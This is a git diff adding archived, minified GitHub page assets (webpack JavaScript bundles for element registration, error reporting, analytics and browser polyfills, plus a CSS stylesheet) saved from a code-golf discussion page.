s-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item 